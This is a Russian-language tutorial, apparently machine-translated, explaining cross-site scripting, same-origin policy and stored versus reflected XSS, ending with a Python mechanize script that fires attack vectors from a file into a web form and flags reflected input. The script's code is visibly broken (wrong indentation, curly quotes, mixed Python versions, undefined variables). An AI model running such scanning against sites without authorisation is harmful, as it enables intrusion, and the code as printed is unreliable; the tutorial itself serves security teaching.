Атаки с использованием межсайтовых сценариев - это тип внедрения, который также относится к атаке путем внедрения кода на стороне клиента. Здесь вредоносные коды вводятся на законный веб-сайт. Концепция политики одинакового происхождения (SOP) очень полезна для понимания концепции межсайтового скриптинга. SOP - самый важный принцип безопасности в каждом веб-браузере. Он запрещает веб-сайтам получать контент со страниц другого происхождения. Например, веб-страница www.tutorialspoint.com/index.html может получить доступ к содержимому изwww.tutorialspoint.com/contact.htmlно www.virus.com/index.html не может получить доступ к контенту изwww.tutorialspoint.com/contact.html. Таким образом, мы можем сказать, что межсайтовый скриптинг - это способ обойти политику безопасности SOP.

Типы XSS-атак

В этом разделе давайте узнаем о различных типах XSS-атак. Атаки можно разделить на следующие основные категории:

  • Постоянный или сохраненный XSS
  • Непостоянный или отраженный XSS

Постоянный или сохраненный XSS

В этом типе атаки XSS злоумышленник внедряет сценарий, называемый полезной нагрузкой, который постоянно хранится в целевом веб-приложении, например, в базе данных. По этой причине это называется стойкой XSS-атакой. На самом деле это самый разрушительный тип XSS-атаки. Например, злоумышленник вставляет вредоносный код в поле комментария в блоге или в сообщении на форуме.

Непостоянный или отраженный XSS

Это наиболее распространенный тип XSS-атаки, при котором полезная нагрузка злоумышленника должна быть частью запроса, который отправляется на веб-сервер и отражается таким образом, чтобы ответ HTTP включал полезную нагрузку из HTTP-запроса. Это непостоянная атака, потому что злоумышленник должен доставить полезную нагрузку каждой жертве. Наиболее распространенным примером таких видов XSS-атак являются фишинговые электронные письма, с помощью которых злоумышленник привлекает жертву, чтобы сделать запрос на сервер, который содержит полезные данные XSS, и в конечном итоге выполняет сценарий, который отражается и выполняется внутри браузера. .

пример

Как и SQLi, веб-атаки XSS могут быть реализованы путем манипулирования входными данными приложения. В следующих примерах мы изменяем векторы атак SQLi, выполненные в предыдущем разделе, для тестирования веб-атаки XSS. Приведенный ниже сценарий Python помогает анализировать атаку XSS с использованиемmechanize -

Для начала импортируем mechanize модуль.

import mechanize

Теперь укажите имя URL-адреса для получения ответа после отправки формы.

url = input("Enter the full url")
   attack_no = 1

Нам нужно прочитать векторы атак из файла.

With open (‘vectors_XSS.txt’) as x:

Теперь отправим запрос с каждым вектором арака -

For line in x:
   browser.open(url)
browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Следующая строка кода проверяет напечатанный вектор атаки.

if content.find(line) > 0:
print(“Possible XSS”)

Следующая строка кода запишет ответ в выходной файл.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

XSS возникает, когда ввод пользователя печатается в ответ без какой-либо проверки. Поэтому, чтобы проверить возможность XSS-атаки, мы можем проверить текст ответа для предоставленного нами вектора атаки. Если вектор атаки присутствует в ответе без какого-либо выхода или проверки, существует высокая вероятность атаки XSS.